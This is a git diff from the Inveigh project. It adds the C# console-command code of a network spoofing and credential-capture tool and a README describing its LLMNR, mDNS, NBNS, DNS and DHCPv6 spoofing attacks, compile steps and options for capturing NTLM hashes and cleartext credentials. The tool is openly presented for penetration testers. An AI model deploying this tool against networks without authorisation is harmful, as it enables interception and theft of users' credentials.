+ ClearCurrentLine();
+ Console.Write(Program.commandHistoryList[i]);
+ builder = new StringBuilder(Program.commandHistoryList[i]);
+ i--;
+ }
+
+ }
+ else
+ {
+ Keypress(builder, input);
+ }
+
+ input = Console.ReadKey(intercept: true);
+ }
+
+ if (input.Key == ConsoleKey.Escape)
+ {
+ Program.isCleartextUpdated = false;
+ Program.isNTLMv1Updated = false;
+ Program.isNTLMv2Updated = false;
+ Program.isCleartextUniqueUpdated = false;
+ Program.isNTLMv1UniqueUpdated = false;
+ Program.isNTLMv2UniqueUpdated = false;
+ ClearCurrentLineFull();
+ Program.enabledConsoleOutput = true;
+ }
+
+ if (input.Key == ConsoleKey.Enter)
+ {
+
+ if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(item => item.StartsWith(builder.ToString(), true, CultureInfo.InvariantCulture)))
+ {
+ Program.commandHistoryList.Remove(builder.ToString());
+ Program.commandHistoryList.Add(builder.ToString());
+ }
+
+ Program.isCleartextUpdated = false;
+ Program.isNTLMv1Updated = false;
+ Program.isNTLMv2Updated = false;
+ Program.isCleartextUniqueUpdated = false;
+ Program.isNTLMv1UniqueUpdated = false;
+ Program.isNTLMv2UniqueUpdated = false;
+ ClearCurrentLineFull();
+ }
+
+ string inputCommand = builder.ToString();
+ Commands(inputCommand);
+ Thread.Sleep(5);
+ }
+
+ public static void ConsolePrompt()
+ {
+ cursorLength = 26 + Program.cleartextCount.ToString().Length + Program.cleartextUniqueCount.ToString().Length + Program.ntlmv1UniqueCount.ToString().Length + Program.ntlmv2UniqueCount.ToString().Length + Program.ntlmv1Count.ToString().Length + Program.ntlmv2Count.ToString().Length;
+ Console.CursorTop = Console.WindowTop + Console.WindowHeight - 1;
+ if (Program.isCleartextUniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write("C");
+ Console.ResetColor();
+ Console.Write("(");
+ if (Program.isCleartextUniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.cleartextUniqueCount);
+ Console.ResetColor();
+ Console.Write(":");
+ if (Program.isCleartextUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.cleartextCount);
+ Console.ResetColor();
+ Console.Write(") ");
+ if (Program.isNTLMv1UniqueUpdated || Program.isNTLMv1Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write("NTLMv1");
+ Console.ResetColor();
+ Console.Write("(");
+ if (Program.isNTLMv1UniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv1UniqueCount);
+ Console.ResetColor();
+ Console.Write(":");
+ if (Program.isNTLMv1Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv1Count);
+ Console.ResetColor();
+ Console.Write(") ");
+ if (Program.isNTLMv2UniqueUpdated || Program.isNTLMv2Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write("NTLMv2");
+ Console.ResetColor();
+ Console.Write("(");
+ if (Program.isNTLMv2UniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv2UniqueCount);
+ Console.ResetColor();
+ Console.Write(":");
+ if (Program.isNTLMv2Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv2Count);
+ Console.ResetColor();
+ Console.Write(")> ");
+ }
+
+ // https://stackoverflow.com/a/8946847/1188513
+ public static void ClearCurrentLine()
+ {
+ cursorLength = 26 + Program.cleartextCount.ToString().Length + Program.cleartextUniqueCount.ToString().Length + Program.ntlmv1UniqueCount.ToString().Length + Program.ntlmv2UniqueCount.ToString().Length + Program.ntlmv1Count.ToString().Length + Program.ntlmv2Count.ToString().Length;
+ int currentLine = Console.CursorTop;
+ Console.SetCursorPosition(cursorLength, Console.CursorTop);
+ Console.Write(new string(' ', Console.WindowWidth - cursorLength - 1));
+ Console.SetCursorPosition(cursorLength, currentLine);
+ }
+
+ public static void RefreshCurrentLine()
+ {
+ cursorLength = 26 + Program.cleartextCount.ToString().Length + Program.cleartextUniqueCount.ToString().Length + Program.ntlmv1UniqueCount.ToString().Length + Program.ntlmv2UniqueCount.ToString().Length + Program.ntlmv1Count.ToString().Length + Program.ntlmv2Count.ToString().Length;
+ int currentLine = Console.CursorTop;
+ Console.SetCursorPosition(0, Console.CursorTop);
+ Console.Write(new string(' ', cursorLength));
+ Console.SetCursorPosition(0, currentLine);
+ ConsolePrompt();
+ Console.SetCursorPosition(cursorLength + builder.Length, currentLine);
+ }
+
+ public static void ClearCurrentLineFull()
+ {
+ var currentLine = Console.CursorTop;
+ Console.SetCursorPosition(0, Console.CursorTop);
+ Console.Write(new string(' ', Console.WindowWidth - 1));
+ Console.SetCursorPosition(0, currentLine);
+ }
+
+ // https://codereview.stackexchange.com/questions/139172/autocompleting-console-input
+ public static void KeypressTab(StringBuilder builder, List<string> data, ref ConsoleKeyInfo input)
+ {
+ string currentInput = builder.ToString();
+ List<string> matches = data.FindAll(item => item != currentInput && item.StartsWith(currentInput, true, CultureInfo.InvariantCulture));
+
+ if (matches.Count == 0)
+ {
+ return;
+ }
+
+ int i = 0;
+
+ while (input.Key == ConsoleKey.Tab)
+ {
+
+ if (!string.IsNullOrEmpty(matches[i]))
+ {
+ ClearCurrentLine();
+ builder.Length = 0;
+ Console.Write(matches[i]);
+ builder.Append(matches[i]);
+ }
+
+ if (i == matches.Count - 1)
+ {
+ i = 0;
+ }
+ else
+ {
+ i++;
+ }
+
+ if (input.Key != ConsoleKey.Tab)
+ {
+ return;
+ }
+
+ input = Console.ReadKey(intercept: true);
+ }
+
+ }
+
+ public static void Keypress(StringBuilder builder, ConsoleKeyInfo input)
+ {
+ string currentInput = builder.ToString();
+ int cursorLeft = Console.CursorLeft;
+
+ if (input.Key == ConsoleKey.Backspace)
+ {
+
+ if (currentInput.Length > 0)
+ {
+ if (cursorLeft < cursorLength + builder.Length)
+ {
+ builder.Remove(cursorLeft - cursorLength + 1, 1);
+ currentInput = builder.ToString();
+ }
+ else
+ {
+ builder.Remove(builder.Length - 1, 1);
+ currentInput = builder.ToString();
+ }
+
+ ClearCurrentLine();
+ Console.Write(currentInput);
+ Console.SetCursorPosition(cursorLeft - 1, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.LeftArrow)
+ {
+
+ if (cursorLeft > cursorLength)
+ {
+ Console.SetCursorPosition(cursorLeft - 1, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.RightArrow)
+ {
+
+ if (cursorLeft < cursorLength + builder.Length)
+ {
+ Console.SetCursorPosition(cursorLeft + 1, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.Delete)
+ {
+
+ if (currentInput.Length > 0)
+ {
+ if (cursorLeft < cursorLength + builder.Length)
+ {
+ builder.Remove(cursorLeft - cursorLength, 1);
+ currentInput = builder.ToString();
+ }
+
+ ClearCurrentLine();
+ Console.Write(currentInput);
+ Console.SetCursorPosition(cursorLeft, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.F5)
+ {
+ RefreshCurrentLine();
+ }
+ else
+ {
+ char key = input.KeyChar;
+
+ if (cursorLeft < builder.Length + cursorLength)
+ {
+ builder.Insert(Console.CursorLeft - cursorLength, key.ToString(), 1);
+ currentInput = builder.ToString();
+ ClearCurrentLine();
+ Console.Write(currentInput);
+ Console.SetCursorPosition(cursorLeft, Console.CursorTop);
+ }
+ else
+ {
+ builder.Append(key);
+ Console.Write(key);
+ }
+
+ }
+
+ }
+
+ public static void Commands(string inputCommand)
+ {
+ string[] inputArray = inputCommand.Split(' ');
+ string search = "";
+
+ if (!Utilities.ArrayIsNullOrEmpty(inputArray) && inputArray.Length == 3)
+ {
+ inputCommand = string.Concat(inputArray[0], " ", inputArray[1]);
+ search = inputArray[2];
+ }
+
+ inputCommand = inputCommand.ToUpper();
+
+ switch (inputCommand)
+ {
+
+ case "GET CONSOLE":
+
+ while (Program.consoleList.Count > 0)
+ {
+ Output.ConsoleOutputFormat(Program.consoleList[0]);
+ Program.consoleList.RemoveAt(0);
+ }
+
+ break;
+
+ case "GET LOG":
+
+ foreach (string entry in Program.logList)
+ {
+ Output.ConsoleOutputFormat(entry);
+ }
+
+ break;
+
+ case "GET CLEARTEXT":
+ GetCleartext(search);
+ break;
+
+ case "GET CLEARTEXTUNIQUE":
+ GetCleartextUnique(search);
+ break;
+
+ case "GET DHCPV6LEASES":
+ GetDHCPv6Leases(search);
+ break;
+
+ case "GET NTLMV1":
+ GetNTLMv1(search);
+ break;
+
+ case "GET NTLMV1UNIQUE":
+ GetNTLMv1Unique(search);
+ break;
+
+ case "GET NTLMV1USERNAMES":
+ GetNTLMv1Usernames(search);
+ break;
+
+ case "GET NTLMV2":
+ GetNTLMv2(search);
+ break;
+
+ case "GET NTLMV2UNIQUE":
+ GetNTLMv2Unique(search);
+ break;
+
+ case "GET NTLMV2USERNAMES":
+ GetNTLMv2Usernames(search);
+ break;
+
+ case "GET SPOOFERReplyToHosts":
+ foreach (string entry in Program.argReplyToHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "GET SPOOFERHOSTSDENY":
+ foreach (string entry in Program.argIgnoreHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "GET SPOOFERReplyToIPs":
+ foreach (string entry in Program.argReplyToHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "GET SPOOFERIPSDENY":
+ foreach (string entry in Program.argIgnoreHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "?":
+ case "HELP":
+ GetHelp();
+ break;
+
+ case "RESUME":
+ Program.enabledConsoleOutput = true;
+ break;
+
+ case "HISTORY":
+ {
+ int index = 1;
+
+ foreach (string item in Program.commandHistoryList)
+ {
+ if (!string.IsNullOrEmpty(item))
+ {
+ Console.WriteLine(index + " " + item);
+ index++;
+ }
+ }
+ }
+ break;
+
+ case "STOP":
+ ClearCurrentLineFull();
+ Program.isRunning = false;
+ Control.StopInveigh();
+ break;
+
+ case "":
+ break;
+
+ default:
+ Console.WriteLine("Invalid Command");
+ break;
+ }
+
+ builder = new StringBuilder();
+ }
+
+ public static void GreenBar()
+ {
+ Console.ForegroundColor = Program.colorPositive;
+ Console.Write("|");
+ Console.ResetColor();
+ }
+
+ public static void GetHelp()
+ {
+ IList<string> commands = new List<string>();
+ string description = "Inveigh Console Commands";
+ string[] headings = new string[] { "Command", "Description" };
+ commands.Add("GET CONSOLE,get queued console output");
+ commands.Add("GET DHCPv6Leases,get DHCPv6 assigned IPv6 addresses");
+ commands.Add("GET LOG,get log entries; add search string to filter results");
+ commands.Add("GET NTLMV1,get captured NTLMv1 hashes; add search string to filter results");
+ commands.Add("GET NTLMV2,get captured NTLMv2 hashes; add search string to filter results");
+ commands.Add("GET NTLMV1UNIQUE,get one captured NTLMv1 hash per user; add search string to filter results");
+ commands.Add("GET NTLMV2UNIQUE,get one captured NTLMv2 hash per user; add search string to filter results");
+ commands.Add("GET NTLMV1USERNAMES,get usernames and source IPs/hostnames for captured NTLMv1 hashes");
+ commands.Add("GET NTLMV2USERNAMES,get usernames and source IPs/hostnames for captured NTLMv2 hashes");
+ commands.Add("GET CLEARTEXT,get captured cleartext credentials");
+ commands.Add("GET CLEARTEXTUNIQUE,get unique captured cleartext credentials");
+ commands.Add("HISTORY,get console command history");
+ commands.Add("RESUME,resume real time console output");
+ commands.Add("STOP,stop Inveigh");
+ Output.OutputCommand(description, headings, commands, Program.colorPositive);
+ }
+
+ public static IList<string> GetUnique(IList<string> list, bool isNTLM)
+ {
+ IList<string> unique = new List<string>();
+ string[] outputUnique = list.ToArray();
+ Array.Sort(outputUnique);
+ string uniqueLast = "";
+
+ foreach (string entry in outputUnique)
+ {
+ string item = entry;
+
+ if (isNTLM)
+ {
+ item = entry.Substring(0, entry.IndexOf(":", (entry.IndexOf(":") + 2)));
+ }
+
+ if (!string.Equals(item, uniqueLast))
+ {
+ unique.Add(item);
+ }
+
+ uniqueLast = item;
+ }
+
+ return unique;
+ }
+
+ public static IList<string> GetUniqueNTLM(IList<string> hashList, IList<string> usernameList)
+ {
+ IList<string> unique = new List<string>();
+ IList<string> uniqueCombined = new List<string>();
+
+ foreach (string entry in usernameList)
+ {
+ string[] split = entry.Split(',');
+ string challenge = ":" + split[3];
+ unique = GetResults(challenge, hashList);
+
+ if (unique.Count > 0)
+ {
+ uniqueCombined.Add(unique[0]);
+ }
+
+ }
+
+ return uniqueCombined;
+ }
+
+ public static IList<string> GetResults(string search, IList<string> list)
+ {
+ return list.Where(element => CultureInfo.CurrentCulture.CompareInfo.IndexOf(element, search, CompareOptions.IgnoreCase) >= 0).ToList();
+ }
+
+ public static void GetCleartext(string search)
+ {
+ string description = "Cleartext Credentials";
+ string[] headers = new string[] { "IP Address", "Credentials" };
+ IList<string> list = Program.cleartextList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetCleartextUnique(string search)
+ {
+ string description = "Unique Cleartext Credentials";
+ string[] headers = new string[] { "IP Address", "Credentials" };
+ IList<string> list = GetUnique(Program.cleartextList, false);
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetDHCPv6Leases(string search)
+ {
+ string description = "DHCPv6 Leases";
+ string[] headers = new string[] { "Host", "MAC", "Lease IP" };
+ IList<string> list = Program.dhcpv6List;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv1(string search)
+ {
+ string description = "NTLMv1 Hashes";
+ string[] headers = new string[] { "Hashes" };
+
+ IList<string> list = Program.ntlmv1List;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv1Unique(string search)
+ {
+ string description = "Unique NTLMv1 Hashes";
+ string[] headers = new string[] { "Hashes" };
+ IList<string> list = Program.ntlmv1UniqueList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv2(string search)
+ {
+ string description = "NTLMv2 Hashes";
+ string[] headers = new string[] { "Hashes" };
+ IList<string> list = Program.ntlmv2List;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv2Unique(string search)
+ {
+ string description = "Unique NTLMv2 Hashes";
+ string[] headers = new string[] { "Hashes" };
+ IList<string> list = Program.ntlmv2UniqueList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv1Usernames(string search)
+ {
+ string description = "NTLMv1 Usernames";
+ string[] headers = new string[] { "IP Address", "Host", "Username" };
+ IList<string> list = Program.ntlmv1UsernameList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetNTLMv2Usernames(string search)
+ {
+ string description = "NTLMv2 Usernames";
+ string[] headers = new string[] { "IP Address", "Host", "Username", "Challenge" };
+ IList<string> list = Program.ntlmv2UsernameList;
+
+ if (!string.IsNullOrEmpty(search))
+ {
+ description = string.Concat(description, " (", search, ")");
+ list = GetResults(search, list);
+ }
+
+ Output.OutputCommand(description, headers, list, Program.colorPositive);
+ }
+
+ public static void GetSpooferReplyLists()
+ {
+
+ if (Program.ntlmv2UsernameList.Count > 0)
+ {
+ Console.WriteLine(string.Format("[+] [{0}] Current NTLMv2 IP addresses, hostnames, and usernames:", Output.Timestamp()));
+ string[] outputNTLMV2Usernames = Program.ntlmv2UsernameList.ToArray();
+ foreach (string entry in outputNTLMV2Usernames)
+ Console.WriteLine(entry);
+ }
+ else
+ {
+ Console.WriteLine(string.Format("[+] [{0}] NTLMv2 IP address, hostname, and username list is empty", Output.Timestamp()));
+ }
+
+ }
+
+ public static void GetSpooferIgnoreLists()
+ {
+
+ if (Program.ntlmv2UsernameList.Count > 0)
+ {
+ Console.WriteLine(string.Format("Current NTLMv2 IP addresses, hostnames, and usernames:", Output.Timestamp()));
+ string[] outputNTLMV2Usernames = Program.ntlmv2UsernameList.ToArray();
+ foreach (string entry in outputNTLMV2Usernames)
+ Console.WriteLine(entry);
+ }
+ else
+ {
+ Console.WriteLine(string.Format("[+] [{0}] NTLMv2 IP address, hostname, and username list is empty", Output.Timestamp()));
+ }
+
+ }
+
+ }
+}
diff --git a/LICENSE.md b/LICENSE
index 9790f29..1127b2d 100644
--- a/LICENSE.md
+++ b/LICENSE
@@ -1,8 +1,6 @@
-Inveigh is provided under the 3-clause BSD license below.
+BSD 3-Clause License
-*************************************************************
-
-Copyright (c) 2015, Kevin Robertson
+Copyright (c) 2021, Kevin Robertson
All rights reserved.
Redistribution and use in source and binary forms, with or without
@@ -15,7 +13,7 @@ modification, are permitted provided that the following conditions are met:
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
-* Neither the name of Inveigh nor the names of its
+* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
@@ -28,4 +26,4 @@ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file
diff --git a/README.md b/README.md
index fb1e4cf..89830e1 100644
--- a/README.md
+++ b/README.md
@@ -1,49 +1,443 @@
-![Inveigh_logo](https://user-images.githubusercontent.com/5897462/62184298-69b5d280-b32b-11e9-9002-7d4f94c59731.png)
+# Inveigh
-Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system.
+Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers. This repo contains the primary C# version as well as the legacy PowerShell version.
-## C# Version
-* https://github.com/Kevin-Robertson/InveighZero
+## Overview
-## 1.4 Release Blog
-* https://blog.netspi.com/inveigh-whats-new-in-version-1-4/
+Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific isteners/sockets. The packet sniffing method, which was the basis for the original Powershell version of this tool, has the following advantages:
-## Wiki
-* https://github.com/Kevin-Robertson/Inveigh/wiki
+* SMB NTLM challenge/response captures over the Window's SMB service
+* Fewer visible port binds on the host system
-## Included In
-* PowerShell Empire - https://github.com/PowerShellEmpire/Empire
-* PS>Attack - https://github.com/jaredhaight/psattack
-* p0wnedShell - https://github.com/Cn33liz/p0wnedShell
-* PowerUpSQL - https://github.com/NetSPI/PowerUpSQL
-* PoshC2 - https://github.com/nettitude/PoshC2
-* pupy - https://github.com/n1nj4sec/pupy
-* Merlin - https://github.com/Ne0nd0g/merlin
+The primary disadvantage is the required elevated access.
-## Special Thanks
-* Anyone that posted .NET packet sniffing examples
-* Responder - https://github.com/lgandx/Responder
-* Impacket - https://github.com/SecureAuthCorp/impacket
+On current versions of Windows, the default running UDP services allow port reuse. Therefore, packet sniffing no longer provides an advantage for getting around in-use UDP ports. Inveigh's UDP listeners are all configured to take advantage of port reuse.
-## Overview
+### Version Descriptions
+* **PowerShell Inveigh** - original version developed over many years. For now at least, this version (1.506) will go without additional updates. Documentation can be found [here](https://github.com/Kevin-Robertson/Inveigh/wiki).
+* **C# Inveigh (aka InveighZero)** - original C# POC code combined with a C# port of most of the Powershell version's code. This version has now been rebuilt for C# and is taking over as the primary version. For now, the InveighZero will continue to be udated with just the latest C# version as a download alternative to avoid AV flagging the Powershell code.
+
+### Features
+
+The C# version of Inveigh contains attacks for the following protocols:
+
+* [LLMNR](#LLMNR) [packet sniffer | listener]
+* [DNS](#DNS) [packet sniffer | listener]
+* [mDNS](#mDNS) [packet sniffer | listener]
+* [NBNS](#NBNS) [packet sniffer | listener]
+* [DHCPv6](#DHCPv6) [packet sniffer | listener]
+* [ICMPv6](#ICMPv6) [privileged raw socket]
+* [HTTP](#HTTP) [listener]
+* [HTTPS](#HTTPS) [listener]
+* [SMB](#SMB) [packet sniffer | listener]
+* [LDAP](#LDAP) [listener]
+* [WebDAV](#WebDAV) [listener]
+* [Proxy Auth](#Proxy) [listener]
+
+Inveigh works with both IPv4 and IPv6 in cases where support for both is provided by the underlying protocol.
+
+## Cross-Platform Support
+
+Inveigh's SDK style project file is setup for .NET 3.5, 4.5, and 5.0 with 5.0 being the version that also works with Linux and macOS.
+
+`<TargetFrameworks>net35;net45;net5.0</TargetFrameworks>`
+
+Windows is still the primary usage target, however I will attempt to support all platforms for new features going forward. For the most part, Inveigh just worked on all 3 platforms once I converted to an SDK project file.
+
+### Known Issues
+
+* The packet sniffer is available only on Windows due to differences in the raw socket setups. When compiled for either Linux or macOS, the packet sniffer will just be disabled. Instead, Inveigh's SMB listener can be used if port 445 is open.
+* macOS requires that routes are avalable for joining multicast groups. In my testing, I've had to add routes for DHCPv6 multicast in order to carry out that attack on this platform.
+ `sudo route -nv add -net ff02::1:2 -interface en0`
+
+### Linux/macOS Compiling
+
+* With .NET 5.0 installed on target system
+`dotnet publish -r linux-x64 -f net5.0 -p:AssemblyName=inveigh`
+`dotnet publish -r osx-x64 -f net5.0 -p:AssemblyName=inveigh`
+
+* Without .NET 5.0 installed on target system
+`dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net5.0 -p:AssemblyName=inveigh`
+`dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net5.0 -p:AssemblyName=inveigh`
+
+## Usage
+
+Default parameter values are located at the beginning of Program.cs. I recommend reviewing and setting everything to fit your needs before compile. All enable/disable parameters can be set with `Y/N` values.
+
+```
+ //begin parameters - set defaults as needed before compile
+ public static string argCert = "MIIKaQIBAzCCC..."
+ public static string argCertPassword = "password";
+ public static string argChallenge = "";
+ public static string argConsole = "3";
+ public static string argConsoleLimit = "-1";
+ public static string argConsoleStatus = "0";
+ public static string argConsoleUnique = "Y";
+ public static string argDHCPv6 = "N";
+ public static string argDHCPv6TTL = "30";
+ public static string argDNS = "Y";
+ ...
+ //end parameters
+```
+
+### Parameter Help
+
+```
+.\Inveigh.exe -?
+
+Control:
+
+ -Inspect Default=Disabled: (Y/N) inspect traffic only.
+
+ -IPv4 Default=Enabled: (Y/N) IPv4 spoofing/capture.
+
+ -IPv6 Default=Enabled: (Y/N) IPv6 spoofing/capture.
+
+ -RunCount Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.
+
+ -RunTime Default=Unlimited: Run time duration in minutes.
+
+
+Output:
+
+ -Console Default=3: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no informational, 3=all)
+
+ -ConsoleLimit Default=Unlimited: Limit to queued console entries.
+
+ -ConsoleStatus Default=Disabled: Interval in minutes for auto-displaying capture details.
+
+ -ConsoleUnique Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.
+
+ -FileDirectory Default=Working Directory: Valid path to an output directory for enabled file output.
+
+ -FileOutput Default=Disabled: (Y/N) real time file output.
+
+ -FilePrefix Default=Inveigh: Prefix for all output files.
+
+ -FileUnique Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.
+
+ -LogOutput Default=Disabled: (Y/N) outputting log entries.
+
+
+Spoofers:
+
+ -DHCPV6 Default=Disabled: (Y/N) DHCPv6 spoofing.
+
+ -DHCPv6TTL Default=300: Lease lifetime in seconds.
+
+ -DNS Default=Enabled: (Y/N) DNS spoofing.
+
+ -DNSHost Fully qualified hostname to use SOA/SRV responses.
+
+ -DNSSRV Default=LDAP: Comma separated list of SRV request services to answer.
+
+ -DNSSuffix DNS search suffix to include in DHCPv6/ICMPv6 responses.
+
+ -DNSTTL Default=30: DNS TTL in seconds.
+
+ -DNSTYPES Default=A: (A, SOA, SRV) Comma separated list of DNS types to spoof.
+
+ -ICMPv6 Default=Enabled: (Y/N) sending ICMPv6 router advertisements.
+
+ -ICMPv6Interval Default=200: ICMPv6 RA interval in seconds.
+
+ -IgnoreDomains Default=None: Comma separated list of domains to ignore when spoofing.
+
+ -IgnoreHosts Default=None: Comma separated list of hostnames to ignore when spoofing.
+
+ -IgnoreIPs Default=Local: Comma separated list of source IP addresses to ignore when spoofing.
+
+ -IgnoreMACs Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.
+
+ -Local Default=Disabled: (Y/N) performing spoofing attacks against the host system.
+
+ -LLMNR Default=Enabled: (Y/N) LLMNR spoofing.
+
+ -LLMNRTTL Default=30: LLMNR TTL in seconds.
+
+ -MAC Local MAC address for DHCPv6.
+
+ -MDNS Default=Enabled: (Y/N) mDNS spoofing.
+
+ -MDNSQuestions Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)
+
+ -MDNSTTL Default=120: mDNS TTL in seconds.
+
+ -MDNSTypes Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)
+
+ -MDNSUnicast Default=Enabled: (Y/N) sending a unicast only response to a QM request.
+
+ -NBNS Default=Disabled: (Y/N) NBNS spoofing.
+
+ -NBNSTTL Default=165: NBNS TTL in seconds.
+
+ -NBNSTypes Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)
+
+ -ReplyToDomains Default=All: Comma separated list of domains to respond to when spoofing.
+
+ -ReplyToHosts Default=All: Comma separated list of hostnames to respond to when spoofing.
+
+ -ReplyToIPs Default=All: Comma separated list of source IP addresses to respond to when spoofing.
+
+ -ReplyToMACs Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.
+
+ -SpooferIP Default=Autoassign: IP address included in spoofing responses.
+
+ -SpooferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
+
+ -Repeat Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.
+
+
+Capture:
+
+ -Cert Base64 certificate for TLS.
+
+ -CertPassword Base64 certificate password for TLS.
+
+ -Challenge Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.
+
+ -HTTP Default=Enabled: (Y/N) HTTP listener.
+
+ -HTTPAuth Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.
+
+ -HTTPPorts Default=80: Comma seperated list of TCP ports for the HTTP listener.
+
+ -HTTPRealm Default=ADFS: Basic authentication realm.
+
+ -HTTPResponse Content to serve as the default HTTP/HTTPS/Proxy response.
+
+ -HTTPS Default=Enabled: (Y/N) HTTPS listener.
+
+ -HTTPSPorts Default=443: Comma separated list of TCP ports for the HTTPS listener.
+
+ -IgnoreAgents Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad anmd proxy auth.
+
+ -LDAP Default=Enabled: (Y/N) LDAP listener.
+
+ -LDAPPorts Default=389: Comma separated list of TCP ports for the LDAP listener.
+
+ -ListenerIP Default=Any: IP address for all listeners.
+
+ -ListenerIPv6 Default=Any: IPv6 address for all listeners.
+
+ -Machines Default=Disabled: (Y/N) machine account NetNTLM captures.
+
+ -Proxy Default=Disabled: (Y/N) proxy listener authentication captures.
+
+ -ProxyAuth Default=NTLM: (Basic/NTLM) Proxy authentication.
+
+ -ProxyPort Default=8492: Port for the proxy listener.
+
+ -SMB Default=Enabled: (Y/N) SMB sniffer/listener.
+
+ -SMBPorts Default=445: Port for the SMB listener.
+
+ -SnifferIP Default=Autoassign: IP address included in spoofing responses.
+
+ -SnifferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
+
+ -WebDAV Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.
-At its core, Inveigh is a .NET packet sniffer that listens for and responds to LLMNR/mDNS/NBNS/DNS requests while also capturing incoming NTLMv1/NTLMv2 authentication attempts over the Windows SMB service. The primary advantage of this packet sniffing method on Windows is that port conflicts with default running services are avoided. Inveigh also contains HTTP/HTTPS/Proxy listeners for capturing incoming authentication requests and performing attacks. Inveigh relies on creating multiple runspaces to load the sniffer, listeners, and control functions within a single shell and PowerShell process.
+ -WebDAVAuth Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.
-##### Inveigh running with elevated privilege
-![inveigh1 4](https://user-images.githubusercontent.com/5897462/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.PNG)
+ -WPADAuth Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)
